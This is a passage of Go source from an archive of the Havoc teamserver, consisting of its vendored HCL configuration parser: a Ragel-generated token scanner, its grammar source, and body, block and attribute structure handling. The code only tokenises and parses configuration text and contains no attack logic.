cs top++ cs = 1459 goto _again } } case 8: //line scan_tokens.rl:170 te = p + 1 { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 9: //line scan_tokens.rl:84 te = p + 1 { token(TokenCQuote) top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } case 10: //line scan_tokens.rl:248 te = p + 1 { token(TokenQuotedLit) } case 11: //line scan_tokens.rl:251 te = p + 1 { token(TokenBadUTF8) } case 12: //line scan_tokens.rl:160 te = p p-- { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 13: //line scan_tokens.rl:170 te = p p-- { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 14: //line scan_tokens.rl:248 te = p p-- { token(TokenQuotedLit) } case 15: //line scan_tokens.rl:249 te = p p-- { token(TokenQuotedNewline) } case 16: //line scan_tokens.rl:250 te = p p-- { token(TokenInvalid) } case 17: //line scan_tokens.rl:251 te = p p-- { token(TokenBadUTF8) } case 18: //line scan_tokens.rl:248 p = (te) - 1 { token(TokenQuotedLit) } case 19: //line scan_tokens.rl:251 p = (te) - 1 { token(TokenBadUTF8) } case 20: //line NONE:1 switch act { case 4: { p = (te) - 1 token(TokenQuotedLit) } case 6: { p = (te) - 1 token(TokenInvalid) } } case 21: //line scan_tokens.rl:148 act = 11 case 22: //line scan_tokens.rl:259 act = 12 case 23: //line scan_tokens.rl:160 te = p + 1 { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 24: //line scan_tokens.rl:170 te = p + 1 { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 25: //line scan_tokens.rl:111 te = p + 1 { // This action is called specifically when a heredoc literal // ends with a newline character. // This might actually be our end marker. topdoc := &heredocs[len(heredocs)-1] if topdoc.StartOfLine { maybeMarker := bytes.TrimSpace(data[ts:te]) if bytes.Equal(maybeMarker, topdoc.Marker) { // We actually emit two tokens here: the end-of-heredoc // marker first, and then separately the newline that // follows it. This then avoids issues with the closing // marker consuming a newline that would normally be used // to mark the end of an attribute definition. // We might have either a \n sequence or an \r\n sequence // here, so we must handle both. nls := te - 1 nle := te te-- if data[te-1] == '\r' { // back up one more byte nls-- te-- } token(TokenCHeredoc) ts = nls te = nle token(TokenNewline) heredocs = heredocs[:len(heredocs)-1] top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } } topdoc.StartOfLine = true token(TokenStringLit) } case 26: //line scan_tokens.rl:259 te = p + 1 { token(TokenBadUTF8) } case 27: //line scan_tokens.rl:160 te = p p-- { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 28: //line scan_tokens.rl:170 te = p p-- { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 29: //line scan_tokens.rl:148 te = p p-- { // This action is called when a heredoc literal _doesn't_ end // with a newline character, e.g. because we're about to enter // an interpolation sequence. heredocs[len(heredocs)-1].StartOfLine = false token(TokenStringLit) } case 30: //line scan_tokens.rl:259 te = p p-- { token(TokenBadUTF8) } case 31: //line scan_tokens.rl:148 p = (te) - 1 { // This action is called when a heredoc literal _doesn't_ end // with a newline character, e.g. because we're about to enter // an interpolation sequence. heredocs[len(heredocs)-1].StartOfLine = false token(TokenStringLit) } case 32: //line NONE:1 switch act { case 0: { cs = 0 goto _again } case 11: { p = (te) - 1 // This action is called when a heredoc literal _doesn't_ end // with a newline character, e.g. because we're about to enter // an interpolation sequence. heredocs[len(heredocs)-1].StartOfLine = false token(TokenStringLit) } case 12: { p = (te) - 1 token(TokenBadUTF8) } } case 33: //line scan_tokens.rl:156 act = 15 case 34: //line scan_tokens.rl:266 act = 16 case 35: //line scan_tokens.rl:160 te = p + 1 { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 36: //line scan_tokens.rl:170 te = p + 1 { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 37: //line scan_tokens.rl:156 te = p + 1 { token(TokenStringLit) } case 38: //line scan_tokens.rl:266 te = p + 1 { token(TokenBadUTF8) } case 39: //line scan_tokens.rl:160 te = p p-- { token(TokenTemplateInterp) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 40: //line scan_tokens.rl:170 te = p p-- { token(TokenTemplateControl) braces++ retBraces = append(retBraces, braces) if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false } { stack = append(stack, 0) stack[top] = cs top++ cs = 1459 goto _again } } case 41: //line scan_tokens.rl:156 te = p p-- { token(TokenStringLit) } case 42: //line scan_tokens.rl:266 te = p p-- { token(TokenBadUTF8) } case 43: //line scan_tokens.rl:156 p = (te) - 1 { token(TokenStringLit) } case 44: //line NONE:1 switch act { case 0: { cs = 0 goto _again } case 15: { p = (te) - 1 token(TokenStringLit) } case 16: { p = (te) - 1 token(TokenBadUTF8) } } case 45: //line scan_tokens.rl:270 act = 17 case 46: //line scan_tokens.rl:271 act = 18 case 47: //line scan_tokens.rl:271 te = p + 1 { token(TokenBadUTF8) } case 48: //line scan_tokens.rl:272 te = p + 1 { token(TokenInvalid) } case 49: //line scan_tokens.rl:270 te = p p-- { token(TokenIdent) } case 50: //line scan_tokens.rl:271 te = p p-- { token(TokenBadUTF8) } case 51: //line scan_tokens.rl:270 p = (te) - 1 { token(TokenIdent) } case 52: //line scan_tokens.rl:271 p = (te) - 1 { token(TokenBadUTF8) } case 53: //line NONE:1 switch act { case 17: { p = (te) - 1 token(TokenIdent) } case 18: { p = (te) - 1 token(TokenBadUTF8) } } case 54: //line scan_tokens.rl:278 act = 22 case 55: //line scan_tokens.rl:301 act = 39 case 56: //line scan_tokens.rl:280 te = p + 1 { token(TokenComment) } case 57: //line scan_tokens.rl:281 te = p + 1 { token(TokenNewline) } case 58: //line scan_tokens.rl:283 te = p + 1 { token(TokenEqualOp) } case 59: //line scan_tokens.rl:284 te = p + 1 { token(TokenNotEqual) } case 60: //line scan_tokens.rl:285 te = p + 1 { token(TokenGreaterThanEq) } case 61: //line scan_tokens.rl:286 te = p + 1 { token(TokenLessThanEq) } case 62: //line scan_tokens.rl:287 te = p + 1 { token(TokenAnd) } case 63: //line scan_tokens.rl:288 te = p + 1 { token(TokenOr) } case 64: //line scan_tokens.rl:289 te = p + 1 { token(TokenEllipsis) } case 65: //line scan_tokens.rl:290 te = p + 1 { token(TokenFatArrow) } case 66: //line scan_tokens.rl:291 te = p + 1 { selfToken() } case 67: //line scan_tokens.rl:180 te = p + 1 { token(TokenOBrace) braces++ } case 68: //line scan_tokens.rl:185 te = p + 1 { if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd) braces-- retBraces = retBraces[0 : len(retBraces)-1] top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } else { token(TokenCBrace) braces-- } } case 69: //line scan_tokens.rl:197 te = p + 1 { // Only consume from the retBraces stack and return if we are at // a suitable brace nesting level, otherwise things will get // confused. (Not entering this branch indicates a syntax error, // which we will catch in the parser.) if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd) braces-- retBraces = retBraces[0 : len(retBraces)-1] top-- cs = stack[top] { stack = stack[:len(stack)-1] } goto _again } else { // We intentionally generate a TokenTemplateSeqEnd here, // even though the user apparently wanted a brace, because // we want to allow the parser to catch the incorrect use // of a ~} to balance a generic opening brace, rather than // a template sequence. token(TokenTemplateSeqEnd) braces-- } } case 70: //line scan_tokens.rl:79 te = p + 1 { token(TokenOQuote) { stack = append(stack, 0) stack[top] = cs top++ cs = 1509 goto _again } } case 71: //line scan_tokens.rl:89 te = p + 1 { token(TokenOHeredoc) // the token is currently the whole heredoc introducer, like // < 0; _nacts-- { _acts++ switch _hcltok_actions[_acts-1] { case 1: //line NONE:1 ts = 0 case 2: //line NONE:1 act = 0 //line scan_tokens.go:5073 } } if cs == 0 { goto _out } p++ if p != pe { goto _resume } _test_eof: { } if p == eof { if _hcltok_eof_trans[cs] > 0 { _trans = int(_hcltok_eof_trans[cs] - 1) goto _eof_trans } } _out: { } } //line scan_tokens.rl:363 // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which we'll // deal with as an invalid. if cs < hcltok_first_final { if mode == scanTemplate && len(stack) == 0 { // If we're scanning a bare template then any straggling // top-level stuff is actually literal string, rather than // invalid. This handles the case where the template ends // with a single "$" or "%", which trips us up because we // want to see another character to decide if it's a sequence // or an escape. f.emitToken(TokenStringLit, ts, len(data)) } else { f.emitToken(TokenInvalid, ts, len(data)) } } // We always emit a synthetic EOF token at the end, since it gives the // parser position information for an "unexpected EOF" diagnostic. f.emitToken(TokenEOF, len(data), len(data)) return f.Tokens } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/scan_tokens.rl000066400000000000000000000325431467014221700277070ustar00rootroot00000000000000 package hclsyntax import ( "bytes" "Havoc/pkg/profile/yaotl" ) // This file is generated from scan_tokens.rl. DO NOT EDIT. %%{ # (except when you are actually in scan_tokens.rl here, so edit away!) machine hcltok; write data; }%% func scanTokens(data []byte, filename string, start hcl.Pos, mode scanMode) []Token { stripData := stripUTF8BOM(data) start.Byte += len(data) - len(stripData) data = stripData f := &tokenAccum{ Filename: filename, Bytes: data, Pos: start, StartByte: start.Byte, } %%{ include UnicodeDerived "unicode_derived.rl"; UTF8Cont = 0x80 .. 0xBF; AnyUTF8 = ( 0x00..0x7F | 0xC0..0xDF . UTF8Cont | 0xE0..0xEF . UTF8Cont . UTF8Cont | 0xF0..0xF7 . UTF8Cont . UTF8Cont . UTF8Cont ); BrokenUTF8 = any - AnyUTF8; NumberLitContinue = (digit|'.'|('e'|'E') ('+'|'-')? digit); NumberLit = digit ("" | (NumberLitContinue - '.') | (NumberLitContinue* (NumberLitContinue - '.'))); Ident = (ID_Start | '_') (ID_Continue | '-')*; # Symbols that just represent themselves are handled as a single rule. SelfToken = "[" | "]" | "(" | ")" | "." | "," | "*" | "/" | "%" | "+" | "-" | "=" | "<" | ">" | "!" | "?" | ":" | "\n" | "&" | "|" | "~" | "^" | ";" | "`" | "'"; EqualOp = "=="; NotEqual = "!="; GreaterThanEqual = ">="; LessThanEqual = "<="; LogicalAnd = "&&"; LogicalOr = "||"; Ellipsis = "..."; FatArrow = "=>"; Newline = '\r' ? '\n'; EndOfLine = Newline; BeginStringTmpl = '"'; BeginHeredocTmpl = '<<' ('-')? Ident Newline; Comment = ( # The :>> operator in these is a "finish-guarded concatenation", # which terminates the sequence on its left when it completes # the sequence on its right. # In the single-line comment cases this is allowing us to make # the trailing EndOfLine optional while still having the overall # pattern terminate. In the multi-line case it ensures that # the first comment in the file ends at the first */, rather than # gobbling up all of the "any*" until the _final_ */ in the file. ("#" (any - EndOfLine)* :>> EndOfLine?) | ("//" (any - EndOfLine)* :>> EndOfLine?) | ("/*" any* :>> "*/") ); # Note: hclwrite assumes that only ASCII spaces appear between tokens, # and uses this assumption to recreate the spaces between tokens by # looking at byte offset differences. This means it will produce # incorrect results in the presence of tabs, but that's acceptable # because the canonical style (which hclwrite itself can impose # automatically is to never use tabs). Spaces = (' ' | 0x09)+; action beginStringTemplate { token(TokenOQuote); fcall stringTemplate; } action endStringTemplate { token(TokenCQuote); fret; } action beginHeredocTemplate { token(TokenOHeredoc); // the token is currently the whole heredoc introducer, like // < 0 { heredocs[len(heredocs)-1].StartOfLine = false; } fcall main; } action beginTemplateControl { token(TokenTemplateControl); braces++; retBraces = append(retBraces, braces); if len(heredocs) > 0 { heredocs[len(heredocs)-1].StartOfLine = false; } fcall main; } action openBrace { token(TokenOBrace); braces++; } action closeBrace { if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd); braces--; retBraces = retBraces[0:len(retBraces)-1] fret; } else { token(TokenCBrace); braces--; } } action closeTemplateSeqEatWhitespace { // Only consume from the retBraces stack and return if we are at // a suitable brace nesting level, otherwise things will get // confused. (Not entering this branch indicates a syntax error, // which we will catch in the parser.) if len(retBraces) > 0 && retBraces[len(retBraces)-1] == braces { token(TokenTemplateSeqEnd); braces--; retBraces = retBraces[0:len(retBraces)-1] fret; } else { // We intentionally generate a TokenTemplateSeqEnd here, // even though the user apparently wanted a brace, because // we want to allow the parser to catch the incorrect use // of a ~} to balance a generic opening brace, rather than // a template sequence. token(TokenTemplateSeqEnd); braces--; } } TemplateInterp = "${" ("~")?; TemplateControl = "%{" ("~")?; EndStringTmpl = '"'; NewlineChars = ("\r"|"\n"); NewlineCharsSeq = NewlineChars+; StringLiteralChars = (AnyUTF8 - NewlineChars); TemplateIgnoredNonBrace = (^'{' %{ fhold; }); TemplateNotInterp = '$' (TemplateIgnoredNonBrace | TemplateInterp); TemplateNotControl = '%' (TemplateIgnoredNonBrace | TemplateControl); QuotedStringLiteralWithEsc = ('\\' StringLiteralChars) | (StringLiteralChars - ("$" | '%' | '"' | "\\")); TemplateStringLiteral = ( (TemplateNotInterp) | (TemplateNotControl) | (QuotedStringLiteralWithEsc)+ ); HeredocStringLiteral = ( (TemplateNotInterp) | (TemplateNotControl) | (StringLiteralChars - ("$" | '%'))* ); BareStringLiteral = ( (TemplateNotInterp) | (TemplateNotControl) | (StringLiteralChars - ("$" | '%'))* ) Newline?; stringTemplate := |* TemplateInterp => beginTemplateInterp; TemplateControl => beginTemplateControl; EndStringTmpl => endStringTemplate; TemplateStringLiteral => { token(TokenQuotedLit); }; NewlineCharsSeq => { token(TokenQuotedNewline); }; AnyUTF8 => { token(TokenInvalid); }; BrokenUTF8 => { token(TokenBadUTF8); }; *|; heredocTemplate := |* TemplateInterp => beginTemplateInterp; TemplateControl => beginTemplateControl; HeredocStringLiteral EndOfLine => heredocLiteralEOL; HeredocStringLiteral => heredocLiteralMidline; BrokenUTF8 => { token(TokenBadUTF8); }; *|; bareTemplate := |* TemplateInterp => beginTemplateInterp; TemplateControl => beginTemplateControl; BareStringLiteral => bareTemplateLiteral; BrokenUTF8 => { token(TokenBadUTF8); }; *|; identOnly := |* Ident => { token(TokenIdent) }; BrokenUTF8 => { token(TokenBadUTF8) }; AnyUTF8 => { token(TokenInvalid) }; *|; main := |* Spaces => {}; NumberLit => { token(TokenNumberLit) }; Ident => { token(TokenIdent) }; Comment => { token(TokenComment) }; Newline => { token(TokenNewline) }; EqualOp => { token(TokenEqualOp); }; NotEqual => { token(TokenNotEqual); }; GreaterThanEqual => { token(TokenGreaterThanEq); }; LessThanEqual => { token(TokenLessThanEq); }; LogicalAnd => { token(TokenAnd); }; LogicalOr => { token(TokenOr); }; Ellipsis => { token(TokenEllipsis); }; FatArrow => { token(TokenFatArrow); }; SelfToken => { selfToken() }; "{" => openBrace; "}" => closeBrace; "~}" => closeTemplateSeqEatWhitespace; BeginStringTmpl => beginStringTemplate; BeginHeredocTmpl => beginHeredocTemplate; BrokenUTF8 => { token(TokenBadUTF8) }; AnyUTF8 => { token(TokenInvalid) }; *|; }%% // Ragel state p := 0 // "Pointer" into data pe := len(data) // End-of-data "pointer" ts := 0 te := 0 act := 0 eof := pe var stack []int var top int var cs int // current state switch mode { case scanNormal: cs = hcltok_en_main case scanTemplate: cs = hcltok_en_bareTemplate case scanIdentOnly: cs = hcltok_en_identOnly default: panic("invalid scanMode") } braces := 0 var retBraces []int // stack of brace levels that cause us to use fret var heredocs []heredocInProgress // stack of heredocs we're currently processing %%{ prepush { stack = append(stack, 0); } postpop { stack = stack[:len(stack)-1]; } }%% // Make Go compiler happy _ = ts _ = te _ = act _ = eof token := func (ty TokenType) { f.emitToken(ty, ts, te) } selfToken := func () { b := data[ts:te] if len(b) != 1 { // should never happen panic("selfToken only works for single-character tokens") } f.emitToken(TokenType(b[0]), ts, te) } %%{ write init nocs; write exec; }%% // If we fall out here without being in a final state then we've // encountered something that the scanner can't match, which we'll // deal with as an invalid. if cs < hcltok_first_final { if mode == scanTemplate && len(stack) == 0 { // If we're scanning a bare template then any straggling // top-level stuff is actually literal string, rather than // invalid. This handles the case where the template ends // with a single "$" or "%", which trips us up because we // want to see another character to decide if it's a sequence // or an escape. f.emitToken(TokenStringLit, ts, len(data)) } else { f.emitToken(TokenInvalid, ts, len(data)) } } // We always emit a synthetic EOF token at the end, since it gives the // parser position information for an "unexpected EOF" diagnostic. f.emitToken(TokenEOF, len(data), len(data)) return f.Tokens } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/structure.go000066400000000000000000000274451467014221700274350ustar00rootroot00000000000000package hclsyntax import ( "fmt" "strings" "Havoc/pkg/profile/yaotl" ) // AsHCLBlock returns the block data expressed as a *hcl.Block. func (b *Block) AsHCLBlock() *hcl.Block { if b == nil { return nil } lastHeaderRange := b.TypeRange if len(b.LabelRanges) > 0 { lastHeaderRange = b.LabelRanges[len(b.LabelRanges)-1] } return &hcl.Block{ Type: b.Type, Labels: b.Labels, Body: b.Body, DefRange: hcl.RangeBetween(b.TypeRange, lastHeaderRange), TypeRange: b.TypeRange, LabelRanges: b.LabelRanges, } } // Body is the implementation of hcl.Body for the HCL native syntax. type Body struct { Attributes Attributes Blocks Blocks // These are used with PartialContent to produce a "remaining items" // body to return. They are nil on all bodies fresh out of the parser. hiddenAttrs map[string]struct{} hiddenBlocks map[string]struct{} SrcRange hcl.Range EndRange hcl.Range // Final token of the body, for reporting missing items } // Assert that *Body implements hcl.Body var assertBodyImplBody hcl.Body = &Body{} func (b *Body) walkChildNodes(w internalWalkFunc) { w(b.Attributes) w(b.Blocks) } func (b *Body) Range() hcl.Range { return b.SrcRange } func (b *Body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { content, remainHCL, diags := b.PartialContent(schema) // No we'll see if anything actually remains, to produce errors about // extraneous items. remain := remainHCL.(*Body) for name, attr := range b.Attributes { if _, hidden := remain.hiddenAttrs[name]; !hidden { var suggestions []string for _, attrS := range schema.Attributes { if _, defined := content.Attributes[attrS.Name]; defined { continue } suggestions = append(suggestions, attrS.Name) } suggestion := nameSuggestion(name, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } else { // Is there a block of the same name? for _, blockS := range schema.Blocks { if blockS.Type == name { suggestion = fmt.Sprintf(" Did you mean to define a block of type %q?", name) break } } } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported argument", Detail: fmt.Sprintf("An argument named %q is not expected here.%s", name, suggestion), Subject: &attr.NameRange, }) } } for _, block := range b.Blocks { blockTy := block.Type if _, hidden := remain.hiddenBlocks[blockTy]; !hidden { var suggestions []string for _, blockS := range schema.Blocks { suggestions = append(suggestions, blockS.Type) } suggestion := nameSuggestion(blockTy, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } else { // Is there an attribute of the same name? for _, attrS := range schema.Attributes { if attrS.Name == blockTy { suggestion = fmt.Sprintf(" Did you mean to define argument %q? If so, use the equals sign to assign it a value.", blockTy) break } } } diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Unsupported block type", Detail: fmt.Sprintf("Blocks of type %q are not expected here.%s", blockTy, suggestion), Subject: &block.TypeRange, }) } } return content, diags } func (b *Body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { attrs := make(hcl.Attributes) var blocks hcl.Blocks var diags hcl.Diagnostics hiddenAttrs := make(map[string]struct{}) hiddenBlocks := make(map[string]struct{}) if b.hiddenAttrs != nil { for k, v := range b.hiddenAttrs { hiddenAttrs[k] = v } } if b.hiddenBlocks != nil { for k, v := range b.hiddenBlocks { hiddenBlocks[k] = v } } for _, attrS := range schema.Attributes { name := attrS.Name attr, exists := b.Attributes[name] _, hidden := hiddenAttrs[name] if hidden || !exists { if attrS.Required { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Missing required argument", Detail: fmt.Sprintf("The argument %q is required, but no definition was found.", attrS.Name), Subject: b.MissingItemRange().Ptr(), }) } continue } hiddenAttrs[name] = struct{}{} attrs[name] = attr.AsHCLAttribute() } blocksWanted := make(map[string]hcl.BlockHeaderSchema) for _, blockS := range schema.Blocks { blocksWanted[blockS.Type] = blockS } for _, block := range b.Blocks { if _, hidden := hiddenBlocks[block.Type]; hidden { continue } blockS, wanted := blocksWanted[block.Type] if !wanted { continue } if len(block.Labels) > len(blockS.LabelNames) { name := block.Type if len(blockS.LabelNames) == 0 { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Extraneous label for %s", name), Detail: fmt.Sprintf( "No labels are expected for %s blocks.", name, ), Subject: block.LabelRanges[0].Ptr(), Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), }) } else { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Extraneous label for %s", name), Detail: fmt.Sprintf( "Only %d labels (%s) are expected for %s blocks.", len(blockS.LabelNames), strings.Join(blockS.LabelNames, ", "), name, ), Subject: block.LabelRanges[len(blockS.LabelNames)].Ptr(), Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), }) } continue } if len(block.Labels) < len(blockS.LabelNames) { name := block.Type diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Missing %s for %s", blockS.LabelNames[len(block.Labels)], name), Detail: fmt.Sprintf( "All %s blocks must have %d labels (%s).", name, len(blockS.LabelNames), strings.Join(blockS.LabelNames, ", "), ), Subject: &block.OpenBraceRange, Context: hcl.RangeBetween(block.TypeRange, block.OpenBraceRange).Ptr(), }) continue } blocks = append(blocks, block.AsHCLBlock()) } // We hide blocks only after we've processed all of them, since otherwise // we can't process more than one of the same type. for _, blockS := range schema.Blocks { hiddenBlocks[blockS.Type] = struct{}{} } remain := &Body{ Attributes: b.Attributes, Blocks: b.Blocks, hiddenAttrs: hiddenAttrs, hiddenBlocks: hiddenBlocks, SrcRange: b.SrcRange, EndRange: b.EndRange, } return &hcl.BodyContent{ Attributes: attrs, Blocks: blocks, MissingItemRange: b.MissingItemRange(), }, remain, diags } func (b *Body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { attrs := make(hcl.Attributes) var diags hcl.Diagnostics if len(b.Blocks) > 0 { example := b.Blocks[0] diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: fmt.Sprintf("Unexpected %q block", example.Type), Detail: "Blocks are not allowed here.", Subject: &example.TypeRange, }) // we will continue processing anyway, and return the attributes // we are able to find so that certain analyses can still be done // in the face of errors. } if b.Attributes == nil { return attrs, diags } for name, attr := range b.Attributes { if _, hidden := b.hiddenAttrs[name]; hidden { continue } attrs[name] = attr.AsHCLAttribute() } return attrs, diags } func (b *Body) MissingItemRange() hcl.Range { return hcl.Range{ Filename: b.SrcRange.Filename, Start: b.SrcRange.Start, End: b.SrcRange.Start, } } // Attributes is the collection of attribute definitions within a body. type Attributes map[string]*Attribute func (a Attributes) walkChildNodes(w internalWalkFunc) { for _, attr := range a { w(attr) } } // Range returns the range of some arbitrary point within the set of // attributes, or an invalid range if there are no attributes. // // This is provided only to complete the Node interface, but has no practical // use. func (a Attributes) Range() hcl.Range { // An attributes doesn't really have a useful range to report, since // it's just a grouping construct. So we'll arbitrarily take the // range of one of the attributes, or produce an invalid range if we have // none. In practice, there's little reason to ask for the range of // an Attributes. for _, attr := range a { return attr.Range() } return hcl.Range{ Filename: "", } } // Attribute represents a single attribute definition within a body. type Attribute struct { Name string Expr Expression SrcRange hcl.Range NameRange hcl.Range EqualsRange hcl.Range } func (a *Attribute) walkChildNodes(w internalWalkFunc) { w(a.Expr) } func (a *Attribute) Range() hcl.Range { return a.SrcRange } // AsHCLAttribute returns the block data expressed as a *hcl.Attribute. func (a *Attribute) AsHCLAttribute() *hcl.Attribute { if a == nil { return nil } return &hcl.Attribute{ Name: a.Name, Expr: a.Expr, Range: a.SrcRange, NameRange: a.NameRange, } } // Blocks is the list of nested blocks within a body. type Blocks []*Block func (bs Blocks) walkChildNodes(w internalWalkFunc) { for _, block := range bs { w(block) } } // Range returns the range of some arbitrary point within the list of // blocks, or an invalid range if there are no blocks. // // This is provided only to complete the Node interface, but has no practical // use. func (bs Blocks) Range() hcl.Range { if len(bs) > 0 { return bs[0].Range() } return hcl.Range{ Filename: "", } } // Block represents a nested block structure type Block struct { Type string Labels []string Body *Body TypeRange hcl.Range LabelRanges []hcl.Range OpenBraceRange hcl.Range CloseBraceRange hcl.Range } func (b *Block) walkChildNodes(w internalWalkFunc) { w(b.Body) } func (b *Block) Range() hcl.Range { return hcl.RangeBetween(b.TypeRange, b.CloseBraceRange) } func (b *Block) DefRange() hcl.Range { return hcl.RangeBetween(b.TypeRange, b.OpenBraceRange) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/structure_at_pos.go000066400000000000000000000074041467014221700307730ustar00rootroot00000000000000package hclsyntax import ( "Havoc/pkg/profile/yaotl" ) // ----------------------------------------------------------------------------- // The methods in this file are all optional extension methods that serve to // implement the methods of the same name on *hcl.File when its root body // is provided by this package. // ----------------------------------------------------------------------------- // BlocksAtPos implements the method of the same name for an *hcl.File that // is backed by a *Body. func (b *Body) BlocksAtPos(pos hcl.Pos) []*hcl.Block { list, _ := b.blocksAtPos(pos, true) return list } // InnermostBlockAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) InnermostBlockAtPos(pos hcl.Pos) *hcl.Block { _, innermost := b.blocksAtPos(pos, false) return innermost.AsHCLBlock() } // OutermostBlockAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) OutermostBlockAtPos(pos hcl.Pos) *hcl.Block { return b.outermostBlockAtPos(pos).AsHCLBlock() } // blocksAtPos is the internal engine of both BlocksAtPos and // InnermostBlockAtPos, which both need to do the same logic but return a // differently-shaped result. // // list is nil if makeList is false, avoiding an allocation. Innermost is // always set, and if the returned list is non-nil it will always match the // final element from that list. func (b *Body) blocksAtPos(pos hcl.Pos, makeList bool) (list []*hcl.Block, innermost *Block) { current := b Blocks: for current != nil { for _, block := range current.Blocks { wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange) if wholeRange.ContainsPos(pos) { innermost = block if makeList { list = append(list, innermost.AsHCLBlock()) } current = block.Body continue Blocks } } // If we fall out here then none of the current body's nested blocks // contain the position we are looking for, and so we're done. break } return } // outermostBlockAtPos is the internal version of OutermostBlockAtPos that // returns a hclsyntax.Block rather than an hcl.Block, allowing for further // analysis if necessary. func (b *Body) outermostBlockAtPos(pos hcl.Pos) *Block { // This is similar to blocksAtPos, but simpler because we know it only // ever needs to search the first level of nested blocks. for _, block := range b.Blocks { wholeRange := hcl.RangeBetween(block.TypeRange, block.CloseBraceRange) if wholeRange.ContainsPos(pos) { return block } } return nil } // AttributeAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) AttributeAtPos(pos hcl.Pos) *hcl.Attribute { return b.attributeAtPos(pos).AsHCLAttribute() } // attributeAtPos is the internal version of AttributeAtPos that returns a // hclsyntax.Block rather than an hcl.Block, allowing for further analysis if // necessary. func (b *Body) attributeAtPos(pos hcl.Pos) *Attribute { searchBody := b _, block := b.blocksAtPos(pos, false) if block != nil { searchBody = block.Body } for _, attr := range searchBody.Attributes { if attr.SrcRange.ContainsPos(pos) { return attr } } return nil } // OutermostExprAtPos implements the method of the same name for an *hcl.File // that is backed by a *Body. func (b *Body) OutermostExprAtPos(pos hcl.Pos) hcl.Expression { attr := b.attributeAtPos(pos) if attr == nil { return nil } if !attr.Expr.Range().ContainsPos(pos) { return nil } return attr.Expr } havoc-0.6~git20240910.69ce17c/teamserver/pkg/profile/yaotl/hclsyntax/token.go000066400000000000000000000262351467014221700265110ustar00rootroot00000000000000package hclsyntax import ( "bytes" "fmt" "github.com/apparentlymart/go-textseg/v13/textseg" "Havoc/pkg/profile/yaotl" ) // Token represents a sequence of bytes from some HCL code that has been // tagged with a type and its range within the source file. type Token struct { Type TokenType Bytes []byte Range hcl.Range } // Tokens is a slice of Token. type Tokens []Token // TokenType is an enumeration used for the Type field on Token. type TokenType rune const ( // Single-character tokens are represented by their own character, for // convenience in producing these within the scanner. However, the values // are otherwise arbitrary and just intended to be mnemonic for humans // who might see them in debug output. TokenOBrace TokenType = '{' TokenCBrace TokenType = '}' TokenOBrack TokenType = '[' TokenCBrack TokenType = ']' 